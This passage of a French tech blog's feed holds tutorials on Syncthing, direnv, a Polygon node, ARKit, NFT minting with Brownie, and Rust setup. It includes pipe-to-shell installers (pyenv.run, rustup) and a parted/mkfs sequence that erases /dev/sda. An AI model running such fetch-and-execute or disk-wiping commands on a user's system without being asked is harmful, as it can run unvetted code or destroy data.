            <description>&lt;h2 id=&#34;introduction&#34;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;Syncthing solution très intéressante de synchronisation de fichiers ou backup entre différents devices. Je l&amp;rsquo;utilise principalement pour backuper les photos de mon Smartphone sur 2 disques dans différentes localisations. Cela fonctionne à travers les NATs via des relays sans devoir ouvrir quoique ce soit et c&amp;rsquo;est simple comme bonjour.&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;installation&#34;&gt;Installation&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;sudo apt install curl apt-transport-https
curl -s https://syncthing.net/release-key.txt | sudo apt-key add -
echo &amp;#34;deb https://apt.syncthing.net/ syncthing release&amp;#34; &amp;gt; /etc/apt/sources.list.d/syncthing.list
sudo apt-get update
sudo apt-get install syncthing
syncthing --version
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Création d&amp;rsquo;un service&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="introduction">Introduction</h2>
<p>Syncthing solution très intéressante de synchronisation de fichiers ou backup entre différents devices. Je l&rsquo;utilise principalement pour backuper les photos de mon Smartphone sur 2 disques dans différentes localisations. Cela fonctionne à travers les NATs via des relays sans devoir ouvrir quoique ce soit et c&rsquo;est simple comme bonjour.</p>
<br/>
<h2 id="installation">Installation</h2>
<pre tabindex="0"><code>sudo apt install curl apt-transport-https
curl -s https://syncthing.net/release-key.txt | sudo apt-key add -
echo &#34;deb https://apt.syncthing.net/ syncthing release&#34; &gt; /etc/apt/sources.list.d/syncthing.list
sudo apt-get update
sudo apt-get install syncthing
syncthing --version
</code></pre><p>Création d&rsquo;un service</p>
<pre tabindex="0"><code>sudo vim /etc/systemd/system/syncthing@.service
</code></pre><pre tabindex="0"><code>[Unit]
Description=Syncthing - Open Source Continuous File Synchronization for %I
Documentation=man:syncthing(1)
After=network.target

[Service]
User=%i
ExecStart=/usr/bin/syncthing -no-browser -gui-address=&#34;0.0.0.0:8384&#34; -no-restart -logflags=0
Restart=on-failure
SuccessExitStatus=3 4
RestartForceExitStatus=3 4

[Install]
WantedBy=multi-user.target
</code></pre><pre tabindex="0"><code>sudo systemctl daemon-reload
sudo systemctl start syncthing@$USER
sudo systemctl status syncthing@$USER
sudo systemctl enable syncthing@$USER
</code></pre><blockquote>
<p>Malheureusement à la place de <code>-gui-address=&quot;0.0.0.0:8384&quot;</code> il n&rsquo;est pas possible de spécifier un /24 ou /16 <code>-gui-address=&quot;192.168.0.0/16:8384&quot;</code>. <a href="https://www.freecodecamp.org/news/subnet-cheat-sheet-24-subnet-mask-30-26-27-29-and-other-ip-address-cidr-network-references/">Rappel CIDR</a></p></blockquote>
<br/>
<p>Rendez-vous ensuite à l&rsquo;adresse de votre GUI Syncthing: https://192.168.1.82:8384 . Ajouter un mot de passe et bloquer l&rsquo;accès global. N&rsquo;autoriser que la synchro sur le LAN pour plus de sécurité.</p>
]]></content>
        </item>
        
        <item>
            <title>Charger automatiquement les variables d&#39;environnement et virtualenv des projets Python</title>
            <link>https://leandeep.com/charger-automatiquement-les-variables-denvironnement-et-virtualenv-des-projets-python/</link>
            <pubDate>Tue, 20 Jul 2021 21:25:00 +0000</pubDate>
            
            <guid>https://leandeep.com/charger-automatiquement-les-variables-denvironnement-et-virtualenv-des-projets-python/</guid>
            <description>&lt;p&gt;Dans cet article, nous allons voir comment charger (et décharger) automatiquement les variables d&amp;rsquo;environnements de vous projets lors d&amp;rsquo;un &lt;code&gt;cd&lt;/code&gt; (et accessoirement comment sourcer et désactiver les virtualenv Python).&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;D&amp;rsquo;autres solutions alternatives que je ne recommande pas existent: pipenv, autoenv&lt;/p&gt;&lt;/blockquote&gt;
&lt;br/&gt;
&lt;h2 id=&#34;direnv&#34;&gt;direnv&lt;/h2&gt;
&lt;p&gt;Pour ce faire, nous allons utilise un utilitaire appelé &lt;strong&gt;direnv&lt;/strong&gt; qui est disponible pour pas mal de distributions.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Le projet est accessible à l&amp;rsquo;adresse suivante: &lt;a href=&#34;https://github.com/direnv/direnv&#34;&gt;https://github.com/direnv/direnv&lt;/a&gt;&lt;/p&gt;&lt;/blockquote&gt;
&lt;br/&gt;
&lt;p&gt;Installation sur OSX:&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Dans cet article, nous allons voir comment charger (et décharger) automatiquement les variables d&rsquo;environnements de vous projets lors d&rsquo;un <code>cd</code> (et accessoirement comment sourcer et désactiver les virtualenv Python).</p>
<blockquote>
<p>D&rsquo;autres solutions alternatives que je ne recommande pas existent: pipenv, autoenv</p></blockquote>
<br/>
<h2 id="direnv">direnv</h2>
<p>Pour ce faire, nous allons utilise un utilitaire appelé <strong>direnv</strong> qui est disponible pour pas mal de distributions.</p>
<blockquote>
<p>Le projet est accessible à l&rsquo;adresse suivante: <a href="https://github.com/direnv/direnv">https://github.com/direnv/direnv</a></p></blockquote>
<br/>
<p>Installation sur OSX:</p>
<pre tabindex="0"><code>brew install direnv
</code></pre><br/>
<p>Pour finir l&rsquo;installation, il faut ajouter ensuite le code suivant dans votre fichier <code>~/.zshrc</code>:</p>
<pre tabindex="0"><code>eval &#34;$(direnv hook zsh)&#34;

realpath() {
    [[ $1 = /* ]] &amp;&amp; echo &#34;$1&#34; || echo &#34;$PWD/${1#./}&#34;
}
layout_python-venv() {
    local python=${1:-python3}
    [[ $# -gt 0 ]] &amp;&amp; shift
    unset PYTHONHOME
    if [[ -n $VIRTUAL_ENV ]]; then
        VIRTUAL_ENV=$(realpath &#34;${VIRTUAL_ENV}&#34;)
    else
        local python_version
        python_version=$(&#34;$python&#34; -c &#34;import platform; print(platform.python_version())&#34;)
        if [[ -z $python_version ]]; then
            log_error &#34;Could not detect Python version&#34;
            return 1
        fi
        VIRTUAL_ENV=$PWD/.direnv/python-venv-$python_version
    fi
    export VIRTUAL_ENV
    if [[ ! -d $VIRTUAL_ENV ]]; then
        log_status &#34;no venv found; creating $VIRTUAL_ENV&#34;
        &#34;$python&#34; -m venv &#34;$VIRTUAL_ENV&#34;
    fi

    PATH=&#34;${VIRTUAL_ENV}/bin:${PATH}&#34;
    export PATH
}

# Customiser le prompt
setopt PROMPT_SUBST

show_virtual_env() {
  if [[ -n &#34;$VIRTUAL_ENV&#34; &amp;&amp; -n &#34;$DIRENV_DIR&#34; ]]; then
    echo &#34;($(basename $VIRTUAL_ENV))&#34;
  fi
}
PS1=&#39;$(show_virtual_env) &#39;$PS1
</code></pre><br/>
<p>L&rsquo;installation est maintenant terminée. Il vous suffit de créer un fichier <code>.envrc</code> dans votre dossier/ projet et il sera automatiquement chargé (après une autorisation de sécurité via la commande <code>direnv allow</code>).</p>
<p>Exemple de contenu pour le fichier <code>.envrc</code>:</p>
<pre tabindex="0"><code>export MA_VAR0=...
export MA_VAR1=...
export MA_VAR2=...
# Charger un virtualenv
layout python
</code></pre><p><br/>
Avec la ligne <code>layout python</code>, un virtualenv sera automatiquement créé dans le path <code>.direnv/python-3.9.5/bin/python</code> de votre projet.</p>
<blockquote>
<p>Plus d&rsquo;info sur le virtualenv; comme par exemple le support de poetry ou pyenv à l&rsquo;adresse suivante: <a href="https://github.com/direnv/direnv/wiki/Python">https://github.com/direnv/direnv/wiki/Python</a></p></blockquote>
<br/>
<h2 id="pyenv">pyenv</h2>
<p><code>direnv</code> est compatible avec <code>pyenv</code>. A la place de la ligne <code>layout python</code> on peut spécifier la version de Python que l&rsquo;on veut utiliser dans son projet. Par exemple: <code>layout pyenv 3.7.11</code>.</p>
<blockquote>
<p>Rappel pour installer pyenv:</p>
<pre tabindex="0"><code>curl -L https://pyenv.run | bash
echo &#39;export PATH=&#34;~/.pyenv/bin:$PATH&#34;&#39; &gt;&gt; ~/.zshrc
$ echo &#39;eval &#34;$(pyenv init -)&#34;&#39; &gt;&gt; ~/.zshrc
$ echo &#39;eval &#34;$(pyenv virtualenv-init -)&#34;&#39; &gt;&gt; ~/.zshrc
$ source ~/.zshrc
pyenv install -l
pyenv install 3.7.11
</code></pre></blockquote>
<br/>
<p>En conclusion, c&rsquo;est un projet simple et efficace.</p>
]]></content>
        </item>
        
        <item>
            <title>Faire tourner un noeud Polygon Matic</title>
            <link>https://leandeep.com/faire-tourner-un-noeud-polygon-matic/</link>
            <pubDate>Fri, 16 Jul 2021 11:25:00 +0000</pubDate>
            
            <guid>https://leandeep.com/faire-tourner-un-noeud-polygon-matic/</guid>
            <description>&lt;h2 id=&#34;ou-comment-diviser-par-5000-ses-frais-de-gas&#34;&gt;Ou comment diviser par 5000 ses frais de gas&lt;/h2&gt;
&lt;p&gt;Si comme moi vous tradiez sur le réseau Ethereum mais que les frais de transactions sont venus rogner votre marge, vous devriez passer sur Polygon&amp;hellip; Il y a 1 an tout rond, il était encore possible de réaliser des transactions avec des gaz fees de max 1.50 / $2 mais maintenant ce n&amp;rsquo;est plus possible du tout. La solution, passer sur d&amp;rsquo;autres réseaux comme Tron, BSC ou encore Polygon. Dans cet article, nous allons voir comment installer un noeud Polygon.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="ou-comment-diviser-par-5000-ses-frais-de-gas">Ou comment diviser par 5000 ses frais de gas</h2>
<p>Si comme moi vous tradiez sur le réseau Ethereum mais que les frais de transactions sont venus rogner votre marge, vous devriez passer sur Polygon&hellip; Il y a 1 an tout rond, il était encore possible de réaliser des transactions avec des gaz fees de max 1.50 / $2 mais maintenant ce n&rsquo;est plus possible du tout. La solution, passer sur d&rsquo;autres réseaux comme Tron, BSC ou encore Polygon. Dans cet article, nous allons voir comment installer un noeud Polygon.</p>
<p>Testé et approuvé. Trading bot connecté à mon noeud.</p>
<pre tabindex="0"><code>2021-07-16 11:27:55,633 | INFO     | Connecting to network matic-mainnet using NODE_URL=http://192.168.1.31:8545
2021-07-16 11:27:55,736 | INFO     | Is connected to Node: True
</code></pre><br/>
<h2 id="mainnet">Mainnet</h2>
<blockquote>
<p>Matériel: un SSD d&rsquo;au moins 2To<br/>
Docker version: 20.10.2<br/>
Docker-compose version: 1.28.6, build 5db8d86f</p></blockquote>
<p><strong>Optionnel: installer docker et docker-compose</strong></p>
<pre tabindex="0"><code>sudo apt install curl -y
sudo apt install docker.io
sudo usermod -aG docker &lt;user&gt;
sudo curl -L &#34;https://github.com/docker/compose/releases/download/1.28.6/docker-compose-$(uname -s)-$(uname -m)&#34; -o /usr/local/bin/docker-compose
sudo chmod +x /usr/local/bin/docker-compose
docker–compose –version
# Pour désinstaller:
# sudo rm /usr/local/bin/docker-compose
# sudo apt remove docker-compose
# sudo apt autoremove
</code></pre><br/>
<p><strong>Optionnel: créer et monter une partition de 4TB</strong></p>
<pre tabindex="0"><code>parted /dev/sda
(parted) mklabel gpt
(parted) Warning: The existing disk label on /dev/sda will be destroyed and all data on this disk will be lost. Do you want to continue? Yes/No? yes
(parted) unit TB
(parted) mkpart primary 0.00TB 4.00TB
(parted) print
(parted) quit
# Information: You may need to update /etc/fstab.
mkfs.ext4 /dev/sda1
mkdir /data
mount /dev/sda1 /data

# Update /etc/fstab
lsblk -fe7
# sudo vim /etc/fstab et ajouter la ligne suivante:
UUID=YOUR_DISK_UUID /data ext4 defaults 0 0
</code></pre><br/>
<p>Télécharger le dernier snapshot full</p>
<pre tabindex="0"><code>wget -c https://matic-blockchain-snapshots.s3.amazonaws.com/matic-mainnet/bor-fullnode-snapshot-2021-06-16.tar.gz
wget -c https://matic-blockchain-snapshots.s3.amazonaws.com/matic-mainnet/heimdall-fullnode-snapshot-2021-06-16.tar.gz
</code></pre><p><br/>
Récupérer le repo officiel:</p>
<pre tabindex="0"><code>mkdir matic &amp;&amp; cd matic
git clone https://github.com/oeeckhoutte/launch (fork du repo officiel)
cd launch/docker 
</code></pre><p><br/>
Editer le fichier <code>mainnet.env</code> et remplacer la varible d&rsquo;env <code>BOR_MODE</code> par <code>full</code> au lieu d&rsquo;<code>archive</code>.</p>
<br/>
<p>Créer la structure du noeud:</p>
<pre tabindex="0"><code>mkdir -p heimdall/snapshot
mkdir -p heimdall/scripts
mkdir -p bor/snapshot
mv &lt;path-to-heimdall-snapshot-file&gt; heimdall/snapshot
mv &lt;path-to-bor-snapshot-file&gt; bor/snapshot
mv heimdall-startup.sh heimdall/scripts
</code></pre><br/>
<p>Démarrer le noeud:</p>
<pre tabindex="0"><code>sudo docker-compose -f matic-sentry-with-snapshotting.yml --env-file mainnet.env up
</code></pre><br/>
<p>Checker le status:</p>
<pre tabindex="0"><code>curl http://localhost:26657/status
</code></pre><pre tabindex="0"><code>...
&#34;sync_info&#34;: {
  &#34;latest_block_hash&#34;: &#34;3149E6CD5A21A08C40B7250F2D25BD76E3A72AFB3AE68E2538351FA579445AB1&#34;,
  &#34;latest_app_hash&#34;: &#34;328E6FADF7E34E63D1233A74C93FC816A994EEAD5009DECD37466573E8F61A1A&#34;,
  &#34;latest_block_height&#34;: &#34;5799322&#34;,
  &#34;latest_block_time&#34;: &#34;2021-07-16T11:45:57.013021476Z&#34;,
  &#34;catching_up&#34;: false
}
...
</code></pre><br/>
<p>Tout est ok si vous avez <code>&quot;catching_up&quot;: false</code></p>
]]></content>
        </item>
        
        <item>
            <title>Expérimentation Réalité Augmentée sur iOS</title>
            <link>https://leandeep.com/exp%C3%A9rimentation-r%C3%A9alit%C3%A9-augment%C3%A9e-sur-ios/</link>
            <pubDate>Mon, 14 Jun 2021 11:16:00 +0000</pubDate>
            
            <guid>https://leandeep.com/exp%C3%A9rimentation-r%C3%A9alit%C3%A9-augment%C3%A9e-sur-ios/</guid>
            <description>&lt;p&gt;Quand tu as trop chaud pour dormir&amp;hellip; Plus sérieusement, j&amp;rsquo;ai expérimenté ce qu&amp;rsquo;il est possible de faire avec le SDK &lt;code&gt;ARKit&lt;/code&gt; d&amp;rsquo;Apple. Le résultat est bluffant; vivement la sortie des Apple Glass pour pouvoir développer des nouveaux Use Cases&amp;hellip;&lt;/p&gt;
&lt;p&gt;Voici à titre d&amp;rsquo;exemple une petite application permettant d&amp;rsquo;augmenter le contenu éditorial du journal 20 Minutes. En survolant une photo particulière (définie dans le code), il est possible d&amp;rsquo;ajouter un overlay (&lt;code&gt;Spritekit&lt;/code&gt; &lt;code&gt;SKVideoNode&lt;/code&gt;) qui vient jouer une vidéo locale ou remote&amp;hellip; J&amp;rsquo;ai pris l&amp;rsquo;édition du 20 Minutes de ce weekend (13 juin 2021) et une vidéo Youtube aléatoire qui traitait du sujet de la première de couverture et voici le résultat:&lt;/p&gt;
&lt;p&gt;
    &lt;iframe 
        width=&#34;100%&#34; 
        height=&#34;400px&#34;
        src=&#34;//www.youtube.com/embed/kaOncfPBZLM?autoplay=1&amp;mute=1&#34; 
        frameborder=&#34;0&#34; 
        allow=&#34;autoplay; encrypted-media&#34; 
        allowfullscreen&gt;
    &lt;/iframe&gt;


&lt;br/&gt;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Quand tu as trop chaud pour dormir&hellip; Plus sérieusement, j&rsquo;ai expérimenté ce qu&rsquo;il est possible de faire avec le SDK <code>ARKit</code> d&rsquo;Apple. Le résultat est bluffant; vivement la sortie des Apple Glass pour pouvoir développer des nouveaux Use Cases&hellip;</p>
<p>Voici à titre d&rsquo;exemple une petite application permettant d&rsquo;augmenter le contenu éditorial du journal 20 Minutes. En survolant une photo particulière (définie dans le code), il est possible d&rsquo;ajouter un overlay (<code>Spritekit</code> <code>SKVideoNode</code>) qui vient jouer une vidéo locale ou remote&hellip; J&rsquo;ai pris l&rsquo;édition du 20 Minutes de ce weekend (13 juin 2021) et une vidéo Youtube aléatoire qui traitait du sujet de la première de couverture et voici le résultat:</p>
<p>
    <iframe 
        width="100%" 
        height="400px"
        src="//www.youtube.com/embed/kaOncfPBZLM?autoplay=1&mute=1" 
        frameborder="0" 
        allow="autoplay; encrypted-media" 
        allowfullscreen>
    </iframe>


<br/></p>
<p>Je vais pousser les tests pour voir à quel point le mécanisme de reconnaissance d&rsquo;images d&rsquo;<code>ARKit</code> est capable de différencier des éléments (photos)/ <code>Anchors</code> similaires. J&rsquo;espère qu&rsquo;on atteint des niveaux de reconnaissance d&rsquo;images aussi proches de ce qu&rsquo;on est capable d&rsquo;obtenir avec Tensorflow et un réseau de <code>VGG16</code> ou <code>VGG19</code>. Si c&rsquo;est le cas, on pourrait imaginer tellement de Use Cases bien sympatiques&hellip;</p>]]></content>
        </item>
        
        <item>
            <title>Créer des NFTs sur Ethereum</title>
            <link>https://leandeep.com/cr%C3%A9er-des-nfts-sur-ethereum/</link>
            <pubDate>Fri, 11 Jun 2021 15:25:00 +0000</pubDate>
            
            <guid>https://leandeep.com/cr%C3%A9er-des-nfts-sur-ethereum/</guid>
            <description>&lt;p&gt;Dans cet article, nous allons voir comment créer des NFT sur Ethereum en utilisant le projet Python Brownie. L&amp;rsquo;ensemble du tutorial a été réalisé avec Python 3.8. NodeJS sera également nécessaire pour installer Ganache. Dans cet article, j&amp;rsquo;ai utilisé la v10.23.3 ainsi qu&amp;rsquo;NPM 6.14.11.&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;quest-ce-que-brownie-&#34;&gt;Qu&amp;rsquo;est-ce que Brownie ?&lt;/h2&gt;
&lt;p&gt;Similaire au framework Truffle, Brownie permet de développer, tester et déployer des Smart Contracts. A la différence de Truffle, il est écrit en Python 3. De ce que j&amp;rsquo;ai pu voir, il est un peu plus complet que Truffle en terme de tooling (en qu&amp;rsquo;il y a des plugins) et peut fonctionner aussi avec Vyper qui permet d&amp;rsquo;écrire des Smart Contracts en Python typé façon Mypy.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Dans cet article, nous allons voir comment créer des NFT sur Ethereum en utilisant le projet Python Brownie. L&rsquo;ensemble du tutorial a été réalisé avec Python 3.8. NodeJS sera également nécessaire pour installer Ganache. Dans cet article, j&rsquo;ai utilisé la v10.23.3 ainsi qu&rsquo;NPM 6.14.11.</p>
<br/>
<h2 id="quest-ce-que-brownie-">Qu&rsquo;est-ce que Brownie ?</h2>
<p>Similaire au framework Truffle, Brownie permet de développer, tester et déployer des Smart Contracts. A la différence de Truffle, il est écrit en Python 3. De ce que j&rsquo;ai pu voir, il est un peu plus complet que Truffle en terme de tooling (en qu&rsquo;il y a des plugins) et peut fonctionner aussi avec Vyper qui permet d&rsquo;écrire des Smart Contracts en Python typé façon Mypy.</p>
<p>En résumé il peut faire ceci:</p>
<ul>
<li>Programmer des smart contract dans différents langages: Solidity ou Vyper</li>
<li>&ldquo;Builder&rdquo; des contracts</li>
<li>Tester les smart contracts avec Pytest</li>
<li>Intéragir avec les contracts</li>
<li>Il y a des scripts pour intéragir avec les smart contracts</li>
<li>If offre des templates de smart contract</li>
<li>Intégration avec Ganache</li>
</ul>
<p>Source du projet: <a href="https://github.com/eth-brownie/brownie">https://github.com/eth-brownie/brownie</a></p>
<br/>
<h2 id="pré-requis">Pré-requis</h2>
<p>Installer le package Brownie et Ganache</p>
<pre tabindex="0"><code>pip install eth-brownie
# Installed version 1.14.6

npm install -g ganache-cli
# Installed version 6.12.2
</code></pre><br/>
<p>Posséder des ETH sur Rinkeby.</p>
<blockquote>
<p>Si vous n&rsquo;en avez pas, ces Faucets sont à disposition:</p>
<ul>
<li>Testnet ETH: <a href="https://faucet.rinkeby.io/">https://faucet.rinkeby.io/</a></li>
</ul></blockquote>
<br/>
<h2 id="configuration">Configuration</h2>
<p>Créer un fichier <code>.env</code> contenant les variables d&rsquo;environnement de votre projet.  Pour la PRIVATE_KEY utilisez un compte sur Rinkeby (<a href="https://rinkeby.etherscan.io">https://rinkeby.etherscan.io</a>) qui possède des ETH.</p>
<pre tabindex="0"><code>export PRIVATE_KEY=blablabla
export WEB3_INFURA_PROJECT_ID=blablabla
export ETHERSCAN_TOKEN=blablabla
</code></pre><p>Ensuite sourcer votre fichier <code>source .env</code>.</p>
<br/>
<h2 id="développement">Développement</h2>
<p>Partez d&rsquo;un boilerplate. Dans un terminal exécuter la commande:</p>
<pre tabindex="0"><code>brownie bake nft-mix
cd nft
</code></pre><blockquote>
<p><strong>VSCode autocompletion Workaround</strong>
<br/>
Pour éditer le smart contract <code>./contract/SimpleCollectible.sol</code>, je vous recommande d&rsquo;importer la package npm <code>npm i openzeppelin-solidity@3.4.0</code>, de configurer VSCode pour avoir l&rsquo;autocompletion et de temporairement changer le path du module importé.
<br/>
<br/>
Ajouter les lignes suivantes dans <code>.vscode/settings.json</code>:</p>
<pre tabindex="0"><code>...
&#34;solidity.packageDefaultDependenciesContractsDirectory&#34;: &#34;&#34;,
&#34;solidity.packageDefaultDependenciesDirectory&#34;: &#34;node_modules&#34;
}
</code></pre><p><br/>
Changer ensuite l&rsquo;import du package Solidity (je n&rsquo;ai pas encore trouvé comment dire VSCode d&rsquo;interprêter le fichier <code>brownie-config.yaml</code>).</p>
<pre tabindex="0"><code>import &#34;openzeppelin-solidity/contracts/token/ERC721/ERC721.sol&#34;; // New line added for VSCode
import &#34;@openzeppelin/contracts/token/ERC721/ERC721.sol&#34;;
</code></pre><p><br/>
Ce n&rsquo;est pas idéal pour la compilation. Mais on peut très facilement contourner ce problème avec un simple <code>Makefile</code> et exécuter un <code>make compile</code> lorsqu&rsquo;on veut faire un <code>brownie compile</code>. Il suffit de renommer le dossier <code>contracts</code> en <code>contracts_source</code> et d&rsquo;avoir la commande suivante dans son <code>Makefile</code>: <code>rm -r contracts &amp;&amp; cp -R contracts_source contracts &amp;&amp; sed -i '' '/\/\/dev$/d' ./contracts/*.sol &amp;&amp; brownie compile</code>
<br/>
Et voilà, au moins j&rsquo;ai accès à toutes les <code>docstrings</code> et définitions et je suis efficace.</p></blockquote>
<br/>
<h2 id="déployer-la-nft-factory">Déployer la NFT factory</h2>
<p>Exécuter les commandes suivantes:</p>
<pre tabindex="0"><code>brownie run scripts/simple_collectible/deploy_simple.py --network rinkeby
# Une fois la vérification passée &#34;Verification complete. Result: Pass - Verified&#34;:
brownie run scripts/simple_collectible/create_collectible.py --network rinkeby
</code></pre><br/>
<h2 id="visualisation-du-déploiement">Visualisation du déploiement</h2>
<p><img src="/images/nft-sur-opensea.png" alt="image"></p>
<p><a href="https://testnets.opensea.io/assets/0xE62800C18D25AA2742d4e9d4dA2a9B18b19B5552/4">https://testnets.opensea.io/assets/0xE62800C18D25AA2742d4e9d4dA2a9B18b19B5552/4</a></p>
<br/>
<h2 id="fonctionnement">Fonctionnement</h2>
<p>OpenSea est une plateforme &ldquo;non-custodial&rdquo;. Les NFTs des utilisateurs ne sont pas sur OpenSea. Les NFTs vivent sur une adresse ETH et les wallets (comme MetaMask) permettent de les manipuler.</p>
<p>Dans le détail:</p>
<p>Les NFT sont comme des peintures. Votre adresse Ethereum est une galerie dont vous être le propriétaire. Metamask est un conservateur de galerie qu&rsquo;on peut utiliser pour déplacer les peintures. OpenSea est une fenêtre donnant sur votre galerie.</p>
<p>On peut embaucher un autre conservateur de galerie en changeant de Wallet. Le NFT/la peinture n&rsquo;a pas à sortir de votre galerie et vous pouvez toujours le/la voir à travers la fenêtre OpenSea. Rien ne change vraiment, sauf la façon dont vous interagissez avec l&rsquo;élément.</p>
<p>On peut utiliser une autre fenêtre pour votre votre NFT/peinture comme Rarible or Mintable. Le NFT/la peinture ne bouge pas et la &ldquo;galerie&rdquo; (votre adresse ETH) ne change pas.</p>
<p>La vente ou le transfert du NFT/ de la peinture le/la déplace vers une autre adresse ETH (galerie). OpenSea et d&rsquo;autres plates-formes peuvent afficher n&rsquo;importe quel NFT en ouvrant simplement une autre fenêtre, rien n&rsquo;a à être fait par le propriétaire.</p>
]]></content>
        </item>
        
        <item>
            <title>Installer Rust sur Debian</title>
            <link>https://leandeep.com/installer-rust-sur-debian/</link>
            <pubDate>Mon, 24 May 2021 15:20:00 +0000</pubDate>
            
            <guid>https://leandeep.com/installer-rust-sur-debian/</guid>
            <description>&lt;h3 id=&#34;provisioning-dune-instance-debian&#34;&gt;Provisioning d&amp;rsquo;une instance Debian&lt;/h3&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;docker run -it -v $PWD:/home debian:latest bash
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h3 id=&#34;installation-de-rust&#34;&gt;Installation de Rust&lt;/h3&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;apt update
apt install curl vim git -y
curl --proto &amp;#39;=https&amp;#39; --tlsv1.2 -sSf https://sh.rustup.rs | sh
apt install gcc gcc-multilib
source $HOME/.cargo/env

find /usr -iname &amp;#34;crti.o&amp;#34; -print
export LD_LIBRARY_PATH=/usr/lib/x86_64-linux-gnu:$LD_LIBRARY_PATH # dans ~/.zshrc

find /usr -iname &amp;#34;Scrt1.o&amp;#34; -print
# /usr/lib/x86_64-linux-gnu/Scrt1.o -&amp;gt; No export necessary else add the dir containing Scrt1.o

apt-get install libclang-dev
find /usr -iname &amp;#34;libclang.so&amp;#34; -print
export LIBCLANG_PATH=&amp;#34;/usr/lib/llvm-11/lib/libclang.so:${LIBCLANG_PATH}&amp;#34;

apt-get install g++ g++-multilib
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h3 id=&#34;vérification-du-bon-fonctionnement&#34;&gt;Vérification du bon fonctionnement&lt;/h3&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;# Créer un nouveau projet
cargo new example
cargo build
cargo run
 
# ou au moins avoir les binaires installés 
rustc --version
cargo --version
rustup --version
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h3 id=&#34;voir-les-toolchains&#34;&gt;Voir les toolchains&lt;/h3&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;rustup toolchain list
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h3 id=&#34;installer-une-toolchain&#34;&gt;Installer une toolchain&lt;/h3&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;rustup toolchain install TOOLCHAIN_NAME
&lt;/code&gt;&lt;/pre&gt;</description>
            <content type="html"><![CDATA[<h3 id="provisioning-dune-instance-debian">Provisioning d&rsquo;une instance Debian</h3>
<pre tabindex="0"><code>docker run -it -v $PWD:/home debian:latest bash
</code></pre><br/>
<h3 id="installation-de-rust">Installation de Rust</h3>
<pre tabindex="0"><code>apt update
apt install curl vim git -y
curl --proto &#39;=https&#39; --tlsv1.2 -sSf https://sh.rustup.rs | sh
apt install gcc gcc-multilib
source $HOME/.cargo/env

find /usr -iname &#34;crti.o&#34; -print
export LD_LIBRARY_PATH=/usr/lib/x86_64-linux-gnu:$LD_LIBRARY_PATH # dans ~/.zshrc

find /usr -iname &#34;Scrt1.o&#34; -print
# /usr/lib/x86_64-linux-gnu/Scrt1.o -&gt; No export necessary else add the dir containing Scrt1.o

apt-get install libclang-dev
find /usr -iname &#34;libclang.so&#34; -print
export LIBCLANG_PATH=&#34;/usr/lib/llvm-11/lib/libclang.so:${LIBCLANG_PATH}&#34;

apt-get install g++ g++-multilib
</code></pre><br/>
<h3 id="vérification-du-bon-fonctionnement">Vérification du bon fonctionnement</h3>
<pre tabindex="0"><code># Créer un nouveau projet
cargo new example
cargo build
cargo run
 
# ou au moins avoir les binaires installés 
rustc --version
cargo --version
rustup --version
</code></pre><br/>
<h3 id="voir-les-toolchains">Voir les toolchains</h3>
<pre tabindex="0"><code>rustup toolchain list
</code></pre><br/>
<h3 id="installer-une-toolchain">Installer une toolchain</h3>
<pre tabindex="0"><code>rustup toolchain install TOOLCHAIN_NAME
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Premier programme en Rust</title>
            <link>https://leandeep.com/premier-programme-en-rust/</link>
            <pubDate>Thu, 13 May 2021 18:20:00 +0000</pubDate>
            
            <guid>https://leandeep.com/premier-programme-en-rust/</guid>
            <description>&lt;p&gt;J&amp;rsquo;ai voulu créer un premier programme en Rust; sans avoir jamais suivi de tutoriel ou de formation. Suite à cette première expérience, je pense que c&amp;rsquo;est très compliqué de coder quelque chose de propre et de comprendre ce que l&amp;rsquo;on fait sans lire un livre sur le sujet.&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;ai donc craqué et me suis prévu un peu de lecture pour ce mois ci 😜&amp;hellip;&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://leandeep.com/images/rust-book.png&#34; alt=&#34;image&#34;&gt;&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;premier-hello-world&#34;&gt;Premier hello world&lt;/h2&gt;
&lt;p&gt;Créer un fichier main.rs&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>J&rsquo;ai voulu créer un premier programme en Rust; sans avoir jamais suivi de tutoriel ou de formation. Suite à cette première expérience, je pense que c&rsquo;est très compliqué de coder quelque chose de propre et de comprendre ce que l&rsquo;on fait sans lire un livre sur le sujet.</p>
<p>J&rsquo;ai donc craqué et me suis prévu un peu de lecture pour ce mois ci 😜&hellip;</p>
<p><img src="/images/rust-book.png" alt="image"></p>
<br/>
<h2 id="premier-hello-world">Premier hello world</h2>
<p>Créer un fichier main.rs</p>
<pre tabindex="0"><code>fn main() {
    println!(&#34;Hello, world!&#34;);
}
</code></pre><p>Puis exécuter la commande <code>rustc main.rs</code> pour créer un binaire. Puis exécutez le <code>./main</code></p>
<br/>
<h2 id="mon-premier-utilitaire">Mon premier utilitaire</h2>
